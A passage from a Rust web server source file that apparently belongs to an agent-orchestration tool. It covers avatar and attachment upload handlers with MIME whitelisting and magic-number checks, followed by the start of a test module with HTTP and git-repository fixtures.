10888            return Err(ApiError::bad_request("upload a raster image"));
10889        }
10890        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10891        if sniffed_mime(&bytes) != Some(mime) {
10892            return Err(ApiError::bad_request(
10893                "image content does not match its type",
10894            ));
10895        }
10896        save_magi_icon(&ui.home, &upload.icon)?;
10897        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10898    })
10899    .await
10900}
10901
10902async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10903    blocking(move || {
10904        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10905            Ok(()) => (),
10906            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10907            Err(e) => return Err(anyhow::Error::from(e).into()),
10908        }
10909        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10910    })
10911    .await
10912}
10913
10914async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10915    let icon = (q.builtin.is_none())
10916        .then(|| read_magi_icon(&ui.home))
10917        .flatten();
10918    let mut response = match icon
10919        .as_deref()
10920        .and_then(|icon| persona_icon::load(icon).ok())
10921    {
10922        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10923            attachment_response(mime, bytes)
10924        }
10925        _ => svg_avatar(persona_icon::magi_svg()),
10926    };
10927    response
10928        .headers_mut()
10929        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10930    response
10931}
10932
10933/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10934/// operator's raster `icon` when it resolves and its bytes agree with its
10935/// type, the built-in SVG otherwise. Display only; every failure is a warning
10936/// and the built-in avatar, never an error response.
10937async fn talk_avatar(
10938    State(ui): State<Arc<Ui>>,
10939    Path(id): Path<String>,
10940    Query(q): Query<AvatarQuery>,
10941) -> ApiResult<Response> {
10942    blocking(move || {
10943        let id = resolve_talk(&ui.talks, &id)?;
10944        let talk = ui.talks.get(&id)?;
10945        let wanted = q
10946            .persona
10947            .as_deref()
10948            .map(str::trim)
10949            .filter(|p| !p.is_empty())
10950            .unwrap_or(&talk.persona)
10951            .to_owned();
10952        let specs = match Config::discover(&talk.repo, None) {
10953            Ok((cfg, _)) => cfg.talk.personas,
10954            Err(e) => {
10955                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10956                Vec::new()
10957            }
10958        };
10959        let found = persona::find(&specs, &wanted);
10960        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10961        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10962        let icon = effective_persona_icon(
10963            &ui.home,
10964            &wanted,
10965            found.as_ref().and_then(|p| p.icon.as_deref()),
10966        );
10967        if found.is_none() && icon.is_none() {
10968            return Ok(builtin_avatar(persona::DEFAULT_ID));
10969        }
10970        let Some(icon) = icon
10971            .as_deref()
10972            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10973        else {
10974            return Ok(builtin_avatar(&wanted));
10975        };
10976        let Some(found) = found else {
10977            return Ok(raster_or_builtin(
10978                Some(icon),
10979                persona_icon::builtin_svg(&wanted),
10980            ));
10981        };
10982        match persona_icon::load(icon) {
10983            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10984                let mut res = attachment_response(mime, bytes);
10985                res.headers_mut().insert(
10986                    header::CACHE_CONTROL,
10987                    header::HeaderValue::from_static("no-cache"),
10988                );
10989                Ok(res)
10990            }
10991            Ok((mime, _)) => {
10992                tracing::warn!(
10993                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10994                    found.id
10995                );
10996                Ok(builtin_avatar(&found.id))
10997            }
10998            Err(e) => {
10999                tracing::warn!(
11000                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11001                    found.id
11002                );
11003                Ok(builtin_avatar(&found.id))
11004            }
11005        }
11006    })
11007    .await
11008}
11009
11010/// Validate an attachment upload's declared `Content-Type` and the bytes
11011/// themselves, returning the canonical mime on success.
11012///
11013/// Two checks, both required: the header has to name one of
11014/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11015/// simply never in the list, active content rather than a picture, the same
11016/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11017/// magic number has to agree. The second is what stops a mislabeled upload -
11018/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11019/// a declared type is a claim, not a fact, so it is never trusted alone.
11020fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11021    if data.len() > ATTACHMENT_MAX_BYTES {
11022        return Err(ApiError::bad_request(format!(
11023            "attachment is {} bytes, over the {} MiB limit",
11024            data.len(),
11025            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11026        ))
11027        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11028    }
11029    if data.is_empty() {
11030        return Err(ApiError::bad_request("attachment is empty"));
11031    }
11032    let declared = declared_mime(headers)?;
11033    match sniffed_mime(data) {
11034        Some(sniffed) if sniffed == declared => Ok(declared),
11035        Some(sniffed) => Err(ApiError::bad_request(format!(
11036            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11037        ))),
11038        None => Err(ApiError::bad_request(
11039            "the file's bytes do not match any accepted image format",
11040        )),
11041    }
11042}
11043
11044/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11045/// and nothing else - parameters like `; charset=` are stripped, but the
11046/// value itself is not otherwise interpreted.
11047fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11048    let raw = headers
11049        .get(header::CONTENT_TYPE)
11050        .and_then(|v| v.to_str().ok())
11051        .unwrap_or("")
11052        .split(';')
11053        .next()
11054        .unwrap_or("")
11055        .trim()
11056        .to_ascii_lowercase();
11057    ATTACHMENT_MIME_WHITELIST
11058        .iter()
11059        .find(|&&m| m == raw)
11060        .copied()
11061        .ok_or_else(|| {
11062            if raw == "image/svg+xml" {
11063                ApiError::bad_request(
11064                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11065                     not just a picture",
11066                )
11067            } else if raw.is_empty() {
11068                ApiError::bad_request("Content-Type is required for an attachment upload")
11069            } else {
11070                ApiError::bad_request(format!(
11071                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11072                     image/gif or image/webp"
11073                ))
11074            }
11075        })
11076}
11077
11078/// Identify an image by its magic number, independent of whatever
11079/// `Content-Type` claimed.
11080fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11081    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11082        Some("image/png")
11083    } else if data.starts_with(b"\xff\xd8\xff") {
11084        Some("image/jpeg")
11085    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11086        Some("image/gif")
11087    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11088        Some("image/webp")
11089    } else {
11090        None
11091    }
11092}
11093
11094/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11095/// display - see [`talk::Attachment::name`]'s doc on why it never
11096/// contributes to a path. A missing or blank header (curl without it, an
11097/// older front end) falls back to a generic name rather than refusing the
11098/// upload over a field that is cosmetic.
11099fn filename_header(headers: &HeaderMap) -> String {
11100    headers
11101        .get(FILENAME_HEADER)
11102        .and_then(|v| v.to_str().ok())
11103        .map(str::trim)
11104        .filter(|s| !s.is_empty())
11105        .unwrap_or("attachment")
11106        .to_owned()
11107}
11108
11109/// Every attachment `GET` response: the mime re-validated against the same
11110/// closed whitelist the upload route enforces - never the string trusted
11111/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11112/// cannot decide it knows better than the type we send. Unlike a panel asset
11113/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11114/// document renders inline, not agent-authored HTML in a sandboxed frame.
11115fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11116    let content_type = ATTACHMENT_MIME_WHITELIST
11117        .iter()
11118        .find(|&&m| m == mime)
11119        .copied()
11120        .unwrap_or("application/octet-stream");
11121    (
11122        [
11123            (header::CONTENT_TYPE, content_type),
11124            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11125        ],
11126        body,
11127    )
11128        .into_response()
11129}
11130
11131/// The configuration for a repository, read off the disk for this request.
11132///
11133/// Through [`blocking`] because discovery reads and merges several TOML files,
11134/// and because the alternative - caching it in [`Ui`] at startup - would mean
11135/// the operator's phone kept interviewing with a roster they had already
11136/// changed, with no way to reload it but restarting the server they are not
11137/// sitting in front of.
11138async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11139    let repo = repo.to_path_buf();
11140    blocking(move || {
11141        let (cfg, _) = Config::discover(&repo, None)?;
11142        Ok(cfg)
11143    })
11144    .await
11145}
11146
11147/// The one prefix rule, used for both runs and tasks: a leading match for a
11148/// full id, a trailing match for the short form an operator reads off a
11149/// report. Written here rather than borrowed from `queue::resolve_id` because
11150/// the UI needs the two failures as different status codes, and telling them
11151/// apart from an error message is not something to build a route on.
11152fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11153    let mut hits = ids
11154        .into_iter()
11155        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11156    match (hits.next(), hits.next()) {
11157        (Some(one), None) => Ok(one),
11158        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11159        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11160            "`{prefix}` matches more than one {what}, including {a} and {b}"
11161        ))),
11162    }
11163}
11164
11165#[cfg(test)]
11166mod tests {
11167
11168    #[test]
11169    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11170        let dir = tempfile::tempdir().unwrap();
11171        let store = ask::Questions::at(dir.path().join("questions"));
11172        let mut q = Question::new(
11173            "task".to_owned(),
11174            "conduct".to_owned(),
11175            "conduct".to_owned(),
11176            "choose".to_owned(),
11177            String::new(),
11178            vec!["keep".to_owned()],
11179        );
11180        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11181        q.say("why?").unwrap();
11182        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11183        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11184        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11185        store.put(&mut q).unwrap();
11186        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11187        assert_eq!(store.count_needs_owner(), 1);
11188        store.beat(&q.id, ask::WaiterKind::Deputy);
11189        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11190        assert_eq!(store.count_needs_owner(), 0);
11191        let mut stale = store.read_lease(&q.id).unwrap();
11192        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11193        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11194        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11195        assert!(view.deputy_exhausted);
11196        assert!(view.waiting_on_agent);
11197        assert_eq!(view.question.choices, ["keep"]);
11198        store.drop_lease(&q.id);
11199        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11200        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11201    }
11202
11203    #[test]
11204    fn holder_reads_the_lease_not_the_record() {
11205        let mut q = Question::new(
11206            "run".to_owned(),
11207            "implement".to_owned(),
11208            "impl-A".to_owned(),
11209            "which?".to_owned(),
11210            String::new(),
11211            Vec::new(),
11212        );
11213        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11214        q.cwd = Some("/tmp".to_owned());
11215        assert_eq!(holder_of(&q, None), Some("nobody"));
11216        let beat = |kind, ago: i64| ask::Lease {
11217            kind,
11218            pid: 1,
11219            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11220                .unwrap(),
11221        };
11222        let fresh = beat(ask::WaiterKind::Asker, 1);
11223        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11224        let daemon = beat(ask::WaiterKind::Daemon, 1);
11225        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11226        let stale = beat(ask::WaiterKind::Asker, 3600);
11227        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11228
11229        // A conductor question says "deputy" only while one is attached and
11230        // alive, and "nobody" - never silence - when nothing ever listened.
11231        let mut c = Question::new(
11232            "task".to_owned(),
11233            crate::conduct::NODE.to_owned(),
11234            "conduct".to_owned(),
11235            "which?".to_owned(),
11236            String::new(),
11237            Vec::new(),
11238        );
11239        assert_eq!(holder_of(&c, None), Some("nobody"));
11240        c.cwd = Some("/tmp".to_owned());
11241        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11242        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11243        let deputy = beat(ask::WaiterKind::Deputy, 1);
11244        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11245        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11246
11247        // A release-watch question: nobody until a deputy is attached.
11248        let mut r = Question::new(
11249            String::new(),
11250            crate::bump::NOTICE_NODE.to_owned(),
11251            "release-watch".to_owned(),
11252            "stuck?".to_owned(),
11253            String::new(),
11254            vec!["hold".to_owned()],
11255        );
11256        assert_eq!(holder_of(&r, None), Some("nobody"));
11257        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11258        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11259        // A choice-less bump notice is nobody's question at all.
11260        r.deputy = None;
11261        r.seat = "bump".to_owned();
11262        assert_eq!(holder_of(&r, None), None);
11263
11264        // A merge approval is the same: nobody until a deputy is attached
11265        // and alive, never a silent "no holder".
11266        let mut m = Question::new(
11267            "run".to_owned(),
11268            crate::land::APPROVAL_NODE.to_owned(),
11269            "land".to_owned(),
11270            "merge?".to_owned(),
11271            String::new(),
11272            Vec::new(),
11273        );
11274        assert_eq!(holder_of(&m, None), Some("nobody"));
11275        assert_eq!(
11276            holder_of(&m, Some(&fresh)),
11277            Some("asker"),
11278            "a live explicit wait is a listener even before a deputy is attached"
11279        );
11280        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11281        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11282        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11283        assert_eq!(holder_of(&m, None), Some("nobody"));
11284    }
11285
11286    fn stub_config() -> Config {
11287        // An explicit roster, so the result never depends on which agent CLIs
11288        // this machine has installed.
11289        Config {
11290            agents: vec![crate::config::AgentSpec {
11291                id: "stub".to_owned(),
11292                kind: AgentKind::Command,
11293                model: None,
11294                command: vec!["true".to_owned()],
11295                extra_args: Vec::new(),
11296                env: Default::default(),
11297                prompt_delivery: None,
11298                max_turn_secs: None,
11299            }],
11300            ..Config::default()
11301        }
11302    }
11303
11304    fn plain_question(seat: &str) -> Question {
11305        Question::new(
11306            String::new(),
11307            "n".to_owned(),
11308            seat.to_owned(),
11309            "s".to_owned(),
11310            String::new(),
11311            Vec::new(),
11312        )
11313    }
11314
11315    #[test]
11316    fn deputies_enabled_follows_the_config() {
11317        let on = stub_config();
11318        assert!(crate::deputy::can_start(Some(&on), ""));
11319        assert!(crate::deputy::can_start(Some(&on), "stub"));
11320        let mut off = on.clone();
11321        off.daemon.max_deputies = 0;
11322        assert!(!crate::deputy::can_start(Some(&off), ""));
11323        let mut empty = on;
11324        empty.agents.clear();
11325        assert!(!crate::deputy::can_start(Some(&empty), ""));
11326        assert!(!crate::deputy::can_start(None, ""));
11327    }
11328
11329    #[test]
11330    fn question_views_load_the_config_once() {
11331        let dir = TempDir::new().unwrap();
11332        let store = ask::Questions::at(dir.path().to_path_buf());
11333        let mut with_deputy = plain_question("b");
11334        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11335        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11336
11337        let calls = std::cell::Cell::new(0usize);
11338        let views = question_views(qs.clone(), &store, || {
11339            calls.set(calls.get() + 1);
11340            Some(stub_config())
11341        });
11342        assert_eq!(calls.get(), 1);
11343        assert_eq!(views.len(), 3);
11344        for (v, q) in views.iter().zip(&qs) {
11345            assert_eq!(
11346                v.deputies_enabled,
11347                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11348            );
11349        }
11350
11351        let views = question_views(qs, &store, || None);
11352        assert!(views.iter().all(|v| !v.deputies_enabled));
11353
11354        let calls = std::cell::Cell::new(0usize);
11355        let views = question_views(Vec::new(), &store, || {
11356            calls.set(calls.get() + 1);
11357            None
11358        });
11359        assert!(views.is_empty());
11360        assert_eq!(calls.get(), 0);
11361    }
11362
11363    use pretty_assertions::assert_eq;
11364    use serde_json::Value;
11365    use tempfile::TempDir;
11366    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11367
11368    use super::*;
11369    use crate::config::Config;
11370    use crate::queue::Source;
11371
11372    /// How many 10ms steps a settle loop takes before it calls a stall a
11373    /// stall - thirty seconds.
11374    ///
11375    /// These loops wait on real `sh` subprocesses, and the machine that runs
11376    /// the gate runs several suites at once, so a two-second budget was not
11377    /// waiting for the reply, it was racing the scheduler: two of these
11378    /// tests failed under that load with the turn simply not landed yet.
11379    /// This is a hang guard, not a latency assertion - every loop breaks the
11380    /// moment its condition holds, so a generous cap costs an idle machine
11381    /// nothing and still fails a genuine hang instead of hanging the suite.
11382    const SETTLE_STEPS: usize = 3_000;
11383
11384    /// A home with a queue and a runs directory, and a router serving it on
11385    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11386    /// dependency, not ours - so the tests drive a real socket, which has the
11387    /// side benefit of asserting the status line and content types the phone
11388    /// actually receives.
11389    struct Fixture {
11390        home: TempDir,
11391        addr: SocketAddr,
11392    }
11393
11394    impl Fixture {
11395        async fn start() -> Self {
11396            Self::with_loop(launch_idle).await
11397        }
11398
11399        /// A fixture whose loop is `launch`.
11400        async fn with_loop(launch: Launch) -> Self {
11401            let home = TempDir::new().expect("temp home");
11402            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11403            Self { home, addr }
11404        }
11405
11406        /// A fixture whose `ui.repo` is a real directory rather than the
11407        /// usual placeholder - for the routes that read config off it
11408        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11409        async fn with_repo(repo: PathBuf) -> Self {
11410            let home = TempDir::new().expect("temp home");
11411            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11412            Self { home, addr }
11413        }
11414
11415        /// As [`Fixture::with_repo`], with the machine-config file the
11416        /// settings screen reads and writes.
11417        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11418            let home = TempDir::new().expect("temp home");
11419            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11420            Self { home, addr }
11421        }
11422
11423        async fn serve(
11424            home: &FsPath,
11425            repo: PathBuf,
11426            launch: Launch,
11427            machine: Option<PathBuf>,
11428        ) -> SocketAddr {
11429            let queue = Queue::at(home.join("queue"));
11430            let runs = home.join("runs");
11431            std::fs::create_dir_all(&runs).expect("runs dir");
11432            let worktrees = home.join("wt").join("magi");
11433            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11434            let ui = Ui::new(
11435                queue,
11436                Questions::at(home.join("questions")),
11437                Talks::at(home.join("talks")),
11438                runs,
11439                home.to_path_buf(),
11440                repo,
11441            )
11442            .with_worktrees_root(worktrees)
11443            .with_machine_config(machine)
11444            .with_launch(launch);
11445            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11446                .await
11447                .expect("bind loopback");
11448            let addr = listener.local_addr().expect("local addr");
11449            tokio::spawn(async move {
11450                let router = ui
11451                    .router()
11452                    .layer(axum::middleware::from_fn(request_cost::observe));
11453                let _ = axum::serve(listener, router).await;
11454            });
11455            addr
11456        }
11457
11458        fn queue(&self) -> Queue {
11459            Queue::at(self.home.path().join("queue"))
11460        }
11461
11462        fn questions(&self) -> Questions {
11463            Questions::at(self.home.path().join("questions"))
11464        }
11465
11466        fn talks(&self) -> Talks {
11467            Talks::at(self.home.path().join("talks"))
11468        }
11469
11470        fn runs(&self) -> PathBuf {
11471            self.home.path().join("runs")
11472        }
11473
11474        async fn get(&self, path: &str) -> Res {
11475            request(self.addr, "GET", path, None).await
11476        }
11477
11478        /// The status and headers without the body, which is how the front end
11479        /// preflights a panel: a sandboxed frame is opaque to the parent
11480        /// document, so the only way to tell "no panel" from "a panel that
11481        /// rendered blank" is to ask before mounting.
11482        async fn head(&self, path: &str) -> Res {
11483            request(self.addr, "HEAD", path, None).await
11484        }
11485
11486        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11487            request(self.addr, "POST", path, body).await
11488        }
11489
11490        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11491            request_with(self.addr, "GET", path, None, extra).await
11492        }
11493
11494        async fn delete(&self, path: &str) -> Res {
11495            request(self.addr, "DELETE", path, None).await
11496        }
11497
11498        async fn put(&self, path: &str, body: &str) -> Res {
11499            request(self.addr, "PUT", path, Some(body)).await
11500        }
11501
11502        /// `POST` a raw body with its own headers - see [`request_bytes`].
11503        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11504            request_bytes(self.addr, path, headers, body).await
11505        }
11506    }
11507
11508    /// Real tracking refs exercise the successful discovery path (including
11509    /// extraction), rather than counting cheap failures on a placeholder repo.
11510    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11511        let tmp = TempDir::new().unwrap();
11512        let mut repos = Vec::new();
11513        for name in ["one", "two"] {
11514            let repo = tmp.path().join(name);
11515            let origin = tmp.path().join(format!("{name}.git"));
11516            std::fs::create_dir_all(&repo).unwrap();
11517            crate::git::git(&repo, &["init", "-b", "main"])
11518                .await
11519                .unwrap();
11520            std::fs::write(
11521                repo.join("magi.toml"),
11522                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11523            )
11524            .unwrap();
11525            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11526            crate::git::git(
11527                &repo,
11528                &[
11529                    "-c",
11530                    "user.name=fixture",
11531                    "-c",
11532                    "user.email=fixture@example.invalid",
11533                    "commit",
11534                    "-m",
11535                    "fixture",
11536                ],
11537            )
11538            .await
11539            .unwrap();
11540            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11541                .await
11542                .unwrap();
11543            crate::git::git(
11544                &repo,
11545                &["remote", "add", "origin", origin.to_str().unwrap()],
11546            )
11547            .await
11548            .unwrap();
11549            crate::git::git(&repo, &["push", "origin", "main"])
11550                .await
11551                .unwrap();
11552            crate::git::git(
11553                &repo,
11554                &[
11555                    "symbolic-ref",
11556                    "refs/remotes/origin/HEAD",
11557                    "refs/remotes/origin/main",
11558                ],
11559            )
11560            .await
11561            .unwrap();
11562            let (cfg, _) = Config::discover(&repo, None).unwrap();
11563            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11564            repos.push(repo);
11565        }
11566        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11567        (tmp, repos)
11568    }
11569
11570    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11571        let (tmp, repos) = performance_repositories().await;
11572        let machine = tmp.path().join("machine.toml");
11573        std::fs::write(&machine, "").unwrap();
11574        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11575        (tmp, repos, fx)
11576    }
11577
11578    fn seed_performance(
11579        fx: &Fixture,
11580        repos: &[PathBuf; 2],
11581        questions: usize,
11582        runs: usize,
11583        items: usize,
11584    ) {
11585        // Saving states directly never starts a run or changes MAGI_HOME.
11586        for i in fx.questions().list().len()..questions {
11587            let mut question = Question::new(
11588                "20261001-000000-0000".into(),
11589                "implement".into(),
11590                "impl-A".into(),
11591                format!("question {i}"),
11592                "context".into(),
11593                vec!["yes".into(), "no".into()],
11594            );
11595            question.id = format!("20261003-000000-{i:04x}");
11596            fx.questions().put(&mut question).unwrap();
11597        }
11598        for i in run_ids(&fx.runs()).len()..runs {
11599            write_run_repo(
11600                &fx.runs(),
11601                &format!("20261001-000000-{i:04x}"),
11602                RunStatus::Ready,
11603                repos[i % 2].to_str().unwrap(),
11604            );
11605        }
11606        for i in fx.talks().list().len()..items {
11607            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11608            let mut talk = fx.talks().get(&id).unwrap();
11609            talk.repo = repos[i % 2].clone();
11610            fx.talks().put(&mut talk).unwrap();
11611            let mut task = crate::queue::Task::new(
11612                format!("task {i}"),
11613                "instruction".into(),
11614                repos[i % 2].clone(),
11615                crate::queue::Source::Agent {
11616                    run: id,
11617                    node: crate::queue::CHAT_NODE.into(),
11618                },
11619            );
11620            task.id = format!("20261004-000000-{i:04x}");
11621            fx.queue().put(&mut task).unwrap();
11622            // Notices has a production retention cap; seed up to that cap.
11623            if i < crate::notices::CAP {
11624                Notices::at(fx.home.path().join("notifications"))
11625                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11626                    .unwrap();
11627            }
11628        }
11629        assert_eq!(fx.questions().list().len(), questions);
11630        assert_eq!(run_ids(&fx.runs()).len(), runs);
11631        assert_eq!(fx.talks().list().len(), items);
11632        assert_eq!(fx.queue().list().len(), items);
11633        assert_eq!(
11634            Notices::at(fx.home.path().join("notifications"))
11635                .list()
11636                .len(),
11637            items.min(crate::notices::CAP)
11638        );
11639    }
11640
11641    #[tokio::test]
11642    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11643        let home = TempDir::new().unwrap();
11644        let root = home.path().canonicalize().unwrap();
11645        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11646        let fx = Fixture { home, addr };
11647        let repo = root.as_path().join("archive-repo");
11648        std::fs::create_dir(&repo).unwrap();
11649        crate::git::git(&repo, &["init", "-b", "main"])
11650            .await
11651            .unwrap();
11652        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11653            .await
11654            .unwrap();
11655        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11656            .await
11657            .unwrap();
11658        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11659            .await
11660            .unwrap();
11661        std::fs::write(repo.join("source"), "base").unwrap();
11662        crate::git::git(&repo, &["add", "."]).await.unwrap();
11663        crate::git::git(&repo, &["commit", "-m", "base"])
11664            .await
11665            .unwrap();
11666        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11667        std::fs::write(repo.join("source"), "archived review").unwrap();
11668        crate::git::git(&repo, &["commit", "-am", "review"])
11669            .await
11670            .unwrap();
11671        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11672        let mut config = Config::default();
11673        config.graph.worktree_root = Some(root.as_path().join("copies"));
11674        let mut state = RunState::new(
11675            repo.clone(),
11676            "main".into(),
11677            base.clone(),
11678            "archive".into(),
11679            config,
11680        );
11681        state.id = "20260101-000000-ef05".into();
11682        state.status = RunStatus::Ready;
11683        state.save_under(root.as_path()).unwrap();
11684        let evidence =
11685            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11686                .await
11687                .unwrap();
11688        let base_evidence =
11689            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11690                .await
11691                .unwrap();
11692        let source = state.worktree_root().join("review-1");
11693        let mut contents = std::collections::BTreeMap::new();
11694        contents.insert(
11695            repo.join("logs/HEAD"),
11696            format!("{base} {head} fixture\n").into_bytes(),
11697        );
11698        let record = serde_json::json!({
11699            "version":1, "run":state.id, "source":source, "head":head,
11700            "evidence":evidence, "admin":{}, "admin_contents":contents,
11701            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11702        });
11703        std::fs::write(
11704            fx.runs()
11705                .join(&state.id)
11706                .join("artifacts/eviction-review-1.json"),
11707            serde_json::to_vec(&record).unwrap(),
11708        )
11709        .unwrap();
11710        std::fs::remove_dir_all(&repo).unwrap();
11711        let url = format!("/api/runs/{}/seat-evidence", state.id);
11712        let list = fx.get(&url).await;
11713        assert_eq!(list.status, 200, "{}", list.body);
11714        assert_eq!(list.json()[&head], "review-1");
11715        let patch = fx.get(&format!("{url}/{head}")).await;
11716        assert_eq!(patch.status, 200, "{}", patch.body);
11717        assert!(patch.body.contains("+archived review"));
11718        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11719        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11720        assert_eq!(fx.get(&url).await.status, 404);
11721        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11722    }
11723
11724    fn request_counts(res: &Res) -> (usize, usize) {
11725        assert_eq!(res.status, 200, "{}", res.body);
11726        (
11727            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11728            res.header("x-test-git").unwrap().parse().unwrap(),
11729        )
11730    }
11731
11732    #[tokio::test]
11733    async fn list_request_cost_is_independent_of_record_count() {
11734        let (_tmp, repos, fx) = performance_fixture().await;
11735        let mut previous = None;
11736        for n in [4, 60] {
11737            seed_performance(&fx, &repos, n, n, n);
11738            let mut costs = Vec::new();
11739            for (path, discoveries) in [
11740                ("/api/questions", 1),
11741                ("/api/talks", 0),
11742                ("/api/health", 0),
11743                ("/api/stats", 1),
11744            ] {
11745                // Equal cold extraction caches at both scales; this also
11746                // bounds first-request cost instead of only warmed requests.
11747                for repo in &repos {
11748                    let cache = repo.join(".git/magi/config");
11749                    if cache.exists() {
11750                        std::fs::remove_dir_all(cache).unwrap();
11751                    }
11752                }
11753                let cost = request_counts(&fx.get(path).await);
